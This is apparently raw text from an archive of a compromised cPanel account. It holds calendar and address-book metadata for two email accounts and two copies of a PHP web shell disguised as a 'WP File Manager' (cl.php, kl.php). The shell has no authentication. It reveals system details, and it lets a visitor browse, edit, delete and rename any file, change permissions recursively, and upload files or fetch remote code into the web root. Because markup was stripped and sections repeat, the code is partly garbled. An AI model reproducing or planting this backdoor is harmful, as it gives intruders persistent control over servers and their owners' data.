Old size: " . $old_size . " → New size: " . $new_size; } // Move uploaded file (overwrite if exists) if (move_uploaded_file($uploaded_file['tmp_name'], $destination)) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ File uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to move uploaded file. Check permissions."); } } } } // Handle remote URL upload elseif (isset($_POST['linknya']) && !empty($_POST['darilink'])) { if (empty($_POST['namalink'])) { red("Filename cannot be empty!"); } else { $remote_filename = $_POST['namalink']; $remote_filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $remote_filename); $remote_content = @file_get_contents($_POST['darilink']); if ($remote_content === false) { red("Failed to fetch remote file. Check URL is accessible."); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { $destination = $upload_dir . '/' . $remote_filename; // Check if file exists $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize(strlen($remote_content)); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } if (file_put_contents($destination, $remote_content) !== false) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ Remote file uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($remote_filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to save remote file. Check directory permissions."); } } } } } else { red("No file selected or file upload failed."); } } // ============================================ // WORDPRESS-LIKE FILE EDITOR // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "edit") { $file_path = $_POST['path']; // Handle file save if (isset($_POST['gasedit']) && isset($_POST['src'])) { $content = $_POST['src']; // Check if content is different $old_content = file_exists($file_path) ? file_get_contents($file_path) : ''; if ($content === $old_content) { green("ℹ️ No changes detected. File saved as is."); } else { if (file_put_contents($file_path, $content) !== false) { green("✅ File saved successfully! View File"); } else { red("❌ Failed to save file! Check permissions."); } } } // Display editor $file_content = file_exists($file_path) ? file_get_contents($file_path) : ''; echo wpEditor($file_path, $file_content); echo '
← Back to Directory'; // Continue after edit view author(); } // Handle delete from editor if (isset($_GET['delete'])) { $delete_file = $_GET['delete']; if (file_exists($delete_file)) { if (unlink($delete_file)) { green("🗑️ File deleted successfully!"); } else { red("Failed to delete file!"); } } // Redirect back to directory echo ''; author(); } // ============================================ // DISPLAY UPLOAD AND CREATE FORMS // ============================================ echo "
"; echo "
"; // Create File/Folder Form echo '
'; echo '📁 Create New:
'; echo '
'; echo ' '; echo ' '; echo ''; echo ''; echo '
'; echo '
'; echo ' '; echo ''; echo ''; echo '
'; echo '
'; // Upload Form echo '
'; echo '⬆️ Upload File:
'; echo '
'; echo ' Current Dir [ ' . cekdir() . ' ] '; echo ' Root [ ' . cekroot() . ' ]
'; echo ''; echo ''; echo ''; echo '

OR Upload from URL:
'; echo 'URL: '; echo ' Save as: '; echo ''; echo '
'; echo '
'; echo "
"; echo "
"; echo "

"; // ============================================ // FILE VIEWER // ============================================ if (isset($_GET['fileloc'])) { $file_path = $_GET['fileloc']; echo ""; echo "
"; echo "

📄 File: " . htmlspecialchars(basename($file_path)) . "

"; echo "

Path: " . htmlspecialchars($file_path) . "

"; echo "

Size: " . formatSize(filesize($file_path)) . "

"; echo "

Permissions: " . substr(sprintf('%o', fileperms($file_path)), -4) . "

"; // Check if it's a binary/image file $ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION)); $image_exts = ['jpg', 'jpeg', 'png', 'gif', 'bmp', 'webp', 'svg']; $viewable_exts = ['php', 'html', 'htm', 'css', 'js', 'txt', 'xml', 'json', 'sql', 'log']; if (in_array($ext, $image_exts)) { echo "
"; echo ""; echo "
"; } elseif (in_array($ext, $viewable_exts)) { echo "
";
        echo htmlspecialchars(file_get_contents($file_path));
        echo "
"; } else { echo "
"; echo "⚠️ Binary file - cannot display content
"; echo "Download File"; echo "
"; } echo "
← Back to Directory"; echo " Edit File"; echo " 🔒 Chmod"; echo "
"; echo ""; author(); } // ============================================ // HANDLE OTHER ACTIONS (DELETE, RENAME) // ============================================ elseif (isset($_GET['pilihan'])) { if ($_POST['pilih'] == "hapus") { if (is_dir($_POST['path'])) { xrmdir($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to delete Directory!"); } else { green("Delete Directory Success!"); } } elseif (is_file($_POST['path'])) { @unlink($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to Delete File!"); } else { green("Delete File Success!"); } } } elseif ($_POST['pilih'] == "gantinama") { if (isset($_POST['gantin'])) { $ren = @rename($_POST['path'], $_POST['newname']); if ($ren == true) { green("Change Name Success!"); } else { red("Change Name Failed!"); } } if (empty($_POST['name'])) { $namaawal = $_POST['newname']; } else { $namawal = $_POST['name']; } echo "
" . $_POST['path'] . "
"; echo '
New Name :
'; } } // ============================================ // DISPLAY FILE LISTING // ============================================ echo '
'; // Show directories first foreach($lokasinya as $dir){ if(!is_dir($lokasi."/".$dir) || $dir == '.' || $dir == '..') continue; echo ""; } echo ''; // Show files foreach($lokasinya as $file) { if(!is_file("$lokasi/$file")) continue; $size = filesize("$lokasi/$file")/1024; $size = round($size,3); if($size >= 1024){ $size = round($size/1024,2).' MB'; } else { $size = $size.' KB'; } $icon = getFileIcon($file); echo ""; } echo '
Name
Size
Permissions
Options
📁 " . $dir . "
--
"; if(is_writable($lokasi."/".$dir)) echo ''; elseif(!is_readable($lokasi."/".$dir)) echo ''; echo statusnya($lokasi."/".$dir); if(is_writable($lokasi."/".$dir) || !is_readable($lokasi."/".$dir)) echo ''; echo "
\" />
" . $icon . " " . $file . "
" . $size . "
"; if(is_writable("$lokasi/$file")) echo ''; elseif(!is_readable("$lokasi/$file")) echo ''; echo statusnya("$lokasi/$file"); if(is_writable("$lokasi/$file") || !is_readable("$lokasi/$file")) echo ''; echo "
\" />
'; author(); function statusnya($file){ $statusnya = fileperms($file); if (($statusnya & 0xC000) == 0xC000) { $ingfo = 's'; } elseif (($statusnya & 0xA000) == 0xA000) { $ingfo = 'l'; } elseif (($statusnya & 0x8000) == 0x8000) { $ingfo = '-'; } elseif (($statusnya & 0x6000) == 0x6000) { $ingfo = 'b'; } elseif (($statusnya & 0x4000) == 0x4000) { $ingfo = 'd'; } elseif (($statusnya & 0x2000) == 0x2000) { $ingfo = 'c'; } elseif (($statusnya & 0x1000) == 0x1000) { $ingfo = 'p'; } else { $ingfo = 'u'; } // Owner $ingfo .= (($statusnya & 0x0100) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0080) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0040) ? (($statusnya & 0x0800) ? 's' : 'x' ) : (($statusnya & 0x0800) ? 'S' : '-')); // Group $ingfo .= (($statusnya & 0x0020) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0010) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0008) ? (($statusnya & 0x0400) ? 's' : 'x' ) : (($statusnya & 0x0400) ? 'S' : '-')); // World $ingfo .= (($statusnya & 0x0004) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0002) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0001) ? (($statusnya & 0x0200) ? 't' : 'x' ) : (($statusnya & 0x0200) ? 'T' : '-')); return $ingfo; } ?>PK’&{]¢/hÄBB$bosnia@dunyagozbalkans.com/.metadatanu"º] €[addressbook] type VADDRESSBOOK description Default Address Book automatically created for your account. displayname cPanel CardDAV Address Book protected 1 [calendar] type VCALENDAR protected 1 description Default Calendar automatically created for your account. displayname cPanel CalDAV Calendar calendar-color #ff6c2c PK’&{]"¬BB"baka@bakainitiatives.com/.metadatanu„[µü¤[calendar] type VCALENDAR description Default Calendar automatically created for your account. calendar-color #ff6c2c displayname cPanel CalDAV Calendar protected 1 [addressbook] type VADDRESSBOOK displayname cPanel CardDAV Address Book description Default Address Book automatically created for your account. protected 1 PK’&{]„N9³§Ë§Ëbaka@bakainitiatives.com/cl.phpnu„[µü¤ cllllXXXchudiXX

NONE"; } else { $disf = "".$disfunc.""; } function author() { echo "

WP File Manager
"; exit(); } function cekdir() { if (isset($_GET['path'])) { $lokasi = $_GET['path']; } else { $lokasi = getcwd(); } if (is_writable($lokasi)) { return "Writable"; } else { return "Not Writable"; } } function cekroot() { if (is_writable($_SERVER['DOCUMENT_ROOT'])) { return "Writable"; } else { return "Not Writable"; } } function xrmdir($dir) { $items = scandir($dir); foreach ($items as $item) { if ($item === '.' || $item === '..') { continue; } $path = $dir.'/'.$item; if (is_dir($path)) { xrmdir($path); } else { unlink($path); } } rmdir($dir); } function green($text) { echo "
".$text."
"; } function red($text) { echo "
".$text."
"; } function yellow($text) { echo "
".$text."
"; } // Helper function to format file size function formatSize($size) { $units = ['B', 'KB', 'MB', 'GB', 'TB']; $i = 0; while ($size >= 1024 && $i < count($units) - 1) { $size /= 1024; $i++; } return round($size, 2) . ' ' . $units[$i]; } // Function to get file extension with icon function getFileIcon($filename) { $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION)); $icons = [ 'php' => '🐘', 'html' => '🌐', 'css' => '🎨', 'js' => '📜', 'jpg' => '🖼️', 'jpeg' => '🖼️', 'png' => '🖼️', 'gif' => '🖼️', 'pdf' => '📄', 'doc' => '📝', 'docx' => '📝', 'txt' => '📃', 'zip' => '📦', 'rar' => '📦', 'tar' => '📦', 'gz' => '📦', 'mp3' => '🎵', 'mp4' => '🎬', 'avi' => '🎬', 'mkv' => '🎬', 'exe' => '⚙️', 'msi' => '⚙️', 'sql' => '🗄️', 'xml' => '📋', 'json' => '📋', 'log' => '📋', 'htaccess' => '⚙️' ]; return isset($icons[$ext]) ? $icons[$ext] : '📄'; } // Function to get permission name function getPermissionName($perms) { $names = [ '0644' => 'File (644) - Read/Write for owner, Read for others', '0755' => 'Directory (755) - Read/Write/Execute for owner, Read/Execute for others', '0640' => 'File (640) - Read/Write for owner, Read for group', '0664' => 'File (664) - Read/Write for owner and group, Read for others', '0777' => 'All permissions (777) - Read/Write/Execute for everyone', '0600' => 'File (600) - Read/Write for owner only', '0700' => 'Directory (700) - Read/Write/Execute for owner only', '0750' => 'Directory (750) - Read/Write/Execute for owner, Read/Execute for group', '0660' => 'File (660) - Read/Write for owner and group only', ]; return isset($names[$perms]) ? $names[$perms] : 'Custom permission'; } // WordPress-like editor with syntax highlighting function wpEditor($file_path, $content = '') { $file_info = pathinfo($file_path); $file_ext = isset($file_info['extension']) ? strtolower($file_info['extension']) : ''; $file_name = basename($file_path); // Get language for editor $lang = 'plaintext'; $syntax_exts = [ 'php' => 'php', 'html' => 'html', 'htm' => 'html', 'css' => 'css', 'js' => 'javascript', 'json' => 'json', 'xml' => 'xml', 'sql' => 'sql', 'txt' => 'plaintext', 'log' => 'plaintext', 'htaccess' => 'apache' ]; if (isset($syntax_exts[$file_ext])) { $lang = $syntax_exts[$file_ext]; } $is_binary = false; $binary_exts = ['jpg', 'jpeg', 'png', 'gif', 'pdf', 'zip', 'rar', 'exe', 'mp3', 'mp4', 'avi', 'mkv', 'bmp', 'ico', 'webp']; if (in_array($file_ext, $binary_exts)) { $is_binary = true; } $html = '
'; $html .= '
'; $html .= '

📝 Edit File: ' . htmlspecialchars($file_name) . '

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($file_path) . ''; $html .= '📊 Size: ' . formatSize(filesize($file_path)) . ''; $html .= '📝 Type: ' . strtoupper($file_ext ?: 'Plain Text') . ' ' . $lang . ''; $html .= '🔒 Perm: ' . substr(sprintf('%o', fileperms($file_path)), -4) . ''; $html .= '
'; if ($is_binary) { $html .= '
'; $html .= '⚠️ This is a binary file and cannot be edited in the text editor.
'; $html .= 'View File'; $html .= '
'; $html .= '
'; return $html; } $html .= '
'; $html .= ' Saved'; $html .= 'Lines: ' . substr_count($content, "\n") . ' | Characters: ' . strlen($content) . ''; $html .= '
'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; // JavaScript for editor $html .= ''; return $html; } // CHMOD Interface function chmodInterface($path, $is_dir = false) { $current_perms = substr(sprintf('%o', fileperms($path)), -4); $perms_array = str_split($current_perms); $html = '
'; $html .= '
'; $html .= '

🔒 Change Permissions

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($path) . ''; $html .= '📂 Type: ' . ($is_dir ? 'Directory' : 'File') . ''; $html .= '🔒 Current Perm: ' . $current_perms . ' (' . getPermissionName($current_perms) . ')'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; // Permission Grid $html .= '
'; $html .= '
'; $html .= '
Read
'; $html .= '
Write
'; $html .= '
Execute
'; $rows = [ 'owner' => 'Owner', 'group' => 'Group', 'world' => 'Public' ]; $perm_bits = [ 'owner' => ['r' => 4, 'w' => 2, 'x' => 1], 'group' => ['r' => 4, 'w' => 2, 'x' => 1], 'world' => ['r' => 4, 'w' => 2, 'x' => 1] ]; $perm_values = [ 'owner' => intval($perms_array[0]), 'group' => intval($perms_array[1]), 'world' => intval($perms_array[2]) ]; foreach ($rows as $key => $label) { $html .= '
' . $label . '
'; $value = $perm_values[$key]; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; } $html .= '
'; // Presets $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; // Numeric input $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; // Recursive option for directories if ($is_dir) { $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; } $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= '
'; $html .= '
'; // JavaScript for CHMOD interface $html .= ''; return $html; } echo "Server : ".$_SERVER['SERVER_SOFTWARE']."
"; echo "System : ".php_uname()."
"; echo "User : ".@get_current_user()." ( ".@getmyuid().")
"; echo "PHP Version : ".@phpversion()."
"; echo "Disable Function : ".$disf."
"; echo "Directory :  "; foreach($_POST as $key => $value){ $_POST[$key] = stripslashes($value); } if(isset($_GET['path'])){ $lokasi = $_GET['path']; $lokdua = $_GET['path']; } else { $lokasi = getcwd(); $lokdua = getcwd(); } $lokasi = str_replace('\\','/',$lokasi); $lokasis = explode('/',$lokasi); $lokasinya = @scandir($lokasi); foreach($lokasis as $id => $lok){ if($lok == '' && $id == 0){ $a = true; echo '/'; continue; } if($lok == '') continue; echo ''.$lok.'/'; } echo '
'; echo '

'; // ============================================ // CREATE FILE/FOLDER FUNCTIONALITY // ============================================ if (isset($_POST['create_action'])) { if ($_POST['create_action'] == 'file') { $new_file = $lokasi . '/' . $_POST['new_filename']; if (file_exists($new_file)) { red("File already exists!"); } else { if (file_put_contents($new_file, $_POST['file_content'] ?? '') !== false) { chmod($new_file, 0644); green("File created successfully! " . htmlspecialchars($_POST['new_filename']) . ""); } else { red("Failed to create file! Check permissions."); } } } elseif ($_POST['create_action'] == 'folder') { $new_folder = $lokasi . '/' . $_POST['new_foldername']; if (file_exists($new_folder)) { red("Folder already exists!"); } else { if (mkdir($new_folder, 0755)) { green("Folder created successfully! " . htmlspecialchars($_POST['new_foldername']) . ""); } else { red("Failed to create folder! Check permissions."); } } } } // ============================================ // CHMOD FUNCTIONALITY (UPDATED) // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "ubahmod") { $chmod_path = $_POST['path']; $is_dir = is_dir($chmod_path); // Handle CHMOD submission if (isset($_POST['chm0d']) && isset($_POST['perm'])) { $perm = $_POST['perm']; $recursive = isset($_POST['recursive']) && $_POST['recursive'] == 1; // Validate permission if (strlen($perm) == 3 || strlen($perm) == 4) { $perm = substr($perm, -3); $perm_octal = octdec($perm); if ($is_dir && $recursive) { // Recursive chmod $success = true; $count = 0; $iterator = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($chmod_path, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::SELF_FIRST ); foreach ($iterator as $item) { if (@chmod($item->getPathname(), $perm_octal)) { $count++; } else { $success = false; } } if ($success) { green("✅ Permissions changed successfully for " . $count . " items in " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { yellow("⚠️ Permissions changed for " . $count . " items, but some failed. Check permissions."); } } else { // Single file/directory chmod if (@chmod($chmod_path, $perm_octal)) { green("✅ Permissions changed successfully for " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { red("❌ Failed to change permissions for " . htmlspecialchars($chmod_path)); } } } else { red("❌ Invalid permission format. Please use 3 or 4 digit octal (e.g., 644, 755)"); } } // Display CHMOD interface echo chmodInterface($chmod_path, $is_dir); echo '
← Back to Directory'; author(); } // ============================================ // IMPROVED UPLOAD SECTION WITH OVERWRITE // ============================================ if (isset($_POST['upwkwk'])) { $upload_dir = $lokasi; if (isset($_POST['dirnya']) && $_POST['dirnya'] == "2") { $upload_dir = $_SERVER['DOCUMENT_ROOT']; } // Handle file upload from local machine if (isset($_FILES['berkas']) && $_FILES['berkas']['error'] == UPLOAD_ERR_OK) { $uploaded_file = $_FILES['berkas']; if ($uploaded_file['error'] !== UPLOAD_ERR_OK) { $error_messages = [ UPLOAD_ERR_INI_SIZE => 'File exceeds upload_max_filesize', UPLOAD_ERR_FORM_SIZE => 'File exceeds MAX_FILE_SIZE', UPLOAD_ERR_PARTIAL => 'File was only partially uploaded', UPLOAD_ERR_NO_FILE => 'No file was uploaded', UPLOAD_ERR_NO_TMP_DIR => 'Missing temporary folder', UPLOAD_ERR_CANT_WRITE => 'Failed to write file to disk', UPLOAD_ERR_EXTENSION => 'File upload stopped by extension', ]; red("Upload Error: " . ($error_messages[$uploaded_file['error']] ?? 'Unknown error')); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { // Get the original filename $filename = $uploaded_file['name']; // Remove special characters for safety $filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $filename); $destination = $upload_dir . '/' . $filename; // Check if file exists and show overwrite warning $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize($uploaded_file['size']); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } // Move uploaded file (overwrite if exists) if (move_uploaded_file($uploaded_file['tmp_name'], $destination)) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ File uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to move uploaded file. Check permissions."); } } } } // Handle remote URL upload elseif (isset($_POST['linknya']) && !empty($_POST['darilink'])) { if (empty($_POST['namalink'])) { red("Filename cannot be empty!"); } else { $remote_filename = $_POST['namalink']; $remote_filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $remote_filename); $remote_content = @file_get_contents($_POST['darilink']); if ($remote_content === false) { red("Failed to fetch remote file. Check URL is accessible."); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { $destination = $upload_dir . '/' . $remote_filename; // Check if file exists $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize(strlen($remote_content)); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } if (file_put_contents($destination, $remote_content) !== false) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ Remote file uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($remote_filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to save remote file. Check directory permissions."); } } } } } else { red("No file selected or file upload failed."); } } // ============================================ // WORDPRESS-LIKE FILE EDITOR // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "edit") { $file_path = $_POST['path']; // Handle file save if (isset($_POST['gasedit']) && isset($_POST['src'])) { $content = $_POST['src']; // Check if content is different $old_content = file_exists($file_path) ? file_get_contents($file_path) : ''; if ($content === $old_content) { green("ℹ️ No changes detected. File saved as is."); } else { if (file_put_contents($file_path, $content) !== false) { green("✅ File saved successfully! View File"); } else { red("❌ Failed to save file! Check permissions."); } } } // Display editor $file_content = file_exists($file_path) ? file_get_contents($file_path) : ''; echo wpEditor($file_path, $file_content); echo '
← Back to Directory'; // Continue after edit view author(); } // Handle delete from editor if (isset($_GET['delete'])) { $delete_file = $_GET['delete']; if (file_exists($delete_file)) { if (unlink($delete_file)) { green("🗑️ File deleted successfully!"); } else { red("Failed to delete file!"); } } // Redirect back to directory echo ''; author(); } // ============================================ // DISPLAY UPLOAD AND CREATE FORMS // ============================================ echo "
"; echo "
"; // Create File/Folder Form echo '
'; echo '📁 Create New:
'; echo '
'; echo ' '; echo ' '; echo ''; echo ''; echo '
'; echo '
'; echo ' '; echo ''; echo ''; echo '
'; echo '
'; // Upload Form echo '
'; echo '⬆️ Upload File:
'; echo '
'; echo ' Current Dir [ ' . cekdir() . ' ] '; echo ' Root [ ' . cekroot() . ' ]
'; echo ''; echo ''; echo ''; echo '

OR Upload from URL:
'; echo 'URL: '; echo ' Save as: '; echo ''; echo '
'; echo '
'; echo "
"; echo "
"; echo "

"; // ============================================ // FILE VIEWER // ============================================ if (isset($_GET['fileloc'])) { $file_path = $_GET['fileloc']; echo ""; echo "
"; echo "

📄 File: " . htmlspecialchars(basename($file_path)) . "

"; echo "

Path: " . htmlspecialchars($file_path) . "

"; echo "

Size: " . formatSize(filesize($file_path)) . "

"; echo "

Permissions: " . substr(sprintf('%o', fileperms($file_path)), -4) . "

"; // Check if it's a binary/image file $ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION)); $image_exts = ['jpg', 'jpeg', 'png', 'gif', 'bmp', 'webp', 'svg']; $viewable_exts = ['php', 'html', 'htm', 'css', 'js', 'txt', 'xml', 'json', 'sql', 'log']; if (in_array($ext, $image_exts)) { echo "
"; echo ""; echo "
"; } elseif (in_array($ext, $viewable_exts)) { echo "
";
        echo htmlspecialchars(file_get_contents($file_path));
        echo "
"; } else { echo "
"; echo "⚠️ Binary file - cannot display content
"; echo "Download File"; echo "
"; } echo "
← Back to Directory"; echo " Edit File"; echo " 🔒 Chmod"; echo "
"; echo ""; author(); } // ============================================ // HANDLE OTHER ACTIONS (DELETE, RENAME) // ============================================ elseif (isset($_GET['pilihan'])) { if ($_POST['pilih'] == "hapus") { if (is_dir($_POST['path'])) { xrmdir($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to delete Directory!"); } else { green("Delete Directory Success!"); } } elseif (is_file($_POST['path'])) { @unlink($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to Delete File!"); } else { green("Delete File Success!"); } } } elseif ($_POST['pilih'] == "gantinama") { if (isset($_POST['gantin'])) { $ren = @rename($_POST['path'], $_POST['newname']); if ($ren == true) { green("Change Name Success!"); } else { red("Change Name Failed!"); } } if (empty($_POST['name'])) { $namaawal = $_POST['newname']; } else { $namawal = $_POST['name']; } echo "
" . $_POST['path'] . "
"; echo '
New Name :
'; } } // ============================================ // DISPLAY FILE LISTING // ============================================ echo '
'; // Show directories first foreach($lokasinya as $dir){ if(!is_dir($lokasi."/".$dir) || $dir == '.' || $dir == '..') continue; echo ""; } echo ''; // Show files foreach($lokasinya as $file) { if(!is_file("$lokasi/$file")) continue; $size = filesize("$lokasi/$file")/1024; $size = round($size,3); if($size >= 1024){ $size = round($size/1024,2).' MB'; } else { $size = $size.' KB'; } $icon = getFileIcon($file); echo ""; } echo '
Name
Size
Permissions
Options
📁 " . $dir . "
--
"; if(is_writable($lokasi."/".$dir)) echo ''; elseif(!is_readable($lokasi."/".$dir)) echo ''; echo statusnya($lokasi."/".$dir); if(is_writable($lokasi."/".$dir) || !is_readable($lokasi."/".$dir)) echo ''; echo "
\" />
" . $icon . " " . $file . "
" . $size . "
"; if(is_writable("$lokasi/$file")) echo ''; elseif(!is_readable("$lokasi/$file")) echo ''; echo statusnya("$lokasi/$file"); if(is_writable("$lokasi/$file") || !is_readable("$lokasi/$file")) echo ''; echo "
\" />
'; author(); function statusnya($file){ $statusnya = fileperms($file); if (($statusnya & 0xC000) == 0xC000) { $ingfo = 's'; } elseif (($statusnya & 0xA000) == 0xA000) { $ingfo = 'l'; } elseif (($statusnya & 0x8000) == 0x8000) { $ingfo = '-'; } elseif (($statusnya & 0x6000) == 0x6000) { $ingfo = 'b'; } elseif (($statusnya & 0x4000) == 0x4000) { $ingfo = 'd'; } elseif (($statusnya & 0x2000) == 0x2000) { $ingfo = 'c'; } elseif (($statusnya & 0x1000) == 0x1000) { $ingfo = 'p'; } else { $ingfo = 'u'; } // Owner $ingfo .= (($statusnya & 0x0100) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0080) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0040) ? (($statusnya & 0x0800) ? 's' : 'x' ) : (($statusnya & 0x0800) ? 'S' : '-')); // Group $ingfo .= (($statusnya & 0x0020) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0010) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0008) ? (($statusnya & 0x0400) ? 's' : 'x' ) : (($statusnya & 0x0400) ? 'S' : '-')); // World $ingfo .= (($statusnya & 0x0004) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0002) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0001) ? (($statusnya & 0x0200) ? 't' : 'x' ) : (($statusnya & 0x0200) ? 'T' : '-')); return $ingfo; } ?>PK’&{]qÜd©Ë©Ëbaka@bakainitiatives.com/kl.phpnu„[µü¤ kllllllXXXchudiXX

NONE"; } else { $disf = "".$disfunc.""; } function author() { echo "

WP File Manager
"; exit(); } function cekdir() { if (isset($_GET['path'])) { $lokasi = $_GET['path']; } else { $lokasi = getcwd(); } if (is_writable($lokasi)) { return "Writable"; } else { return "Not Writable"; } } function cekroot() { if (is_writable($_SERVER['DOCUMENT_ROOT'])) { return "Writable"; } else { return "Not Writable"; } } function xrmdir($dir) { $items = scandir($dir); foreach ($items as $item) { if ($item === '.' || $item === '..') { continue; } $path = $dir.'/'.$item; if (is_dir($path)) { xrmdir($path); } else { unlink($path); } } rmdir($dir); } function green($text) { echo "
".$text."
"; } function red($text) { echo "
".$text."
"; } function yellow($text) { echo "
".$text."
"; } // Helper function to format file size function formatSize($size) { $units = ['B', 'KB', 'MB', 'GB', 'TB']; $i = 0; while ($size >= 1024 && $i < count($units) - 1) { $size /= 1024; $i++; } return round($size, 2) . ' ' . $units[$i]; } // Function to get file extension with icon function getFileIcon($filename) { $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION)); $icons = [ 'php' => '🐘', 'html' => '🌐', 'css' => '🎨', 'js' => '📜', 'jpg' => '🖼️', 'jpeg' => '🖼️', 'png' => '🖼️', 'gif' => '🖼️', 'pdf' => '📄', 'doc' => '📝', 'docx' => '📝', 'txt' => '📃', 'zip' => '📦', 'rar' => '📦', 'tar' => '📦', 'gz' => '📦', 'mp3' => '🎵', 'mp4' => '🎬', 'avi' => '🎬', 'mkv' => '🎬', 'exe' => '⚙️', 'msi' => '⚙️', 'sql' => '🗄️', 'xml' => '📋', 'json' => '📋', 'log' => '📋', 'htaccess' => '⚙️' ]; return isset($icons[$ext]) ? $icons[$ext] : '📄'; } // Function to get permission name function getPermissionName($perms) { $names = [ '0644' => 'File (644) - Read/Write for owner, Read for others', '0755' => 'Directory (755) - Read/Write/Execute for owner, Read/Execute for others', '0640' => 'File (640) - Read/Write for owner, Read for group', '0664' => 'File (664) - Read/Write for owner and group, Read for others', '0777' => 'All permissions (777) - Read/Write/Execute for everyone', '0600' => 'File (600) - Read/Write for owner only', '0700' => 'Directory (700) - Read/Write/Execute for owner only', '0750' => 'Directory (750) - Read/Write/Execute for owner, Read/Execute for group', '0660' => 'File (660) - Read/Write for owner and group only', ]; return isset($names[$perms]) ? $names[$perms] : 'Custom permission'; } // WordPress-like editor with syntax highlighting function wpEditor($file_path, $content = '') { $file_info = pathinfo($file_path); $file_ext = isset($file_info['extension']) ? strtolower($file_info['extension']) : ''; $file_name = basename($file_path); // Get language for editor $lang = 'plaintext'; $syntax_exts = [ 'php' => 'php', 'html' => 'html', 'htm' => 'html', 'css' => 'css', 'js' => 'javascript', 'json' => 'json', 'xml' => 'xml', 'sql' => 'sql', 'txt' => 'plaintext', 'log' => 'plaintext', 'htaccess' => 'apache' ]; if (isset($syntax_exts[$file_ext])) { $lang = $syntax_exts[$file_ext]; } $is_binary = false; $binary_exts = ['jpg', 'jpeg', 'png', 'gif', 'pdf', 'zip', 'rar', 'exe', 'mp3', 'mp4', 'avi', 'mkv', 'bmp', 'ico', 'webp']; if (in_array($file_ext, $binary_exts)) { $is_binary = true; } $html = '
'; $html .= '
'; $html .= '

📝 Edit File: ' . htmlspecialchars($file_name) . '

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($file_path) . ''; $html .= '📊 Size: ' . formatSize(filesize($file_path)) . ''; $html .= '📝 Type: ' . strtoupper($file_ext ?: 'Plain Text') . ' ' . $lang . ''; $html .= '🔒 Perm: ' . substr(sprintf('%o', fileperms($file_path)), -4) . ''; $html .= '
'; if ($is_binary) { $html .= '
'; $html .= '⚠️ This is a binary file and cannot be edited in the text editor.
'; $html .= 'View File'; $html .= '
'; $html .= '
'; return $html; } $html .= '
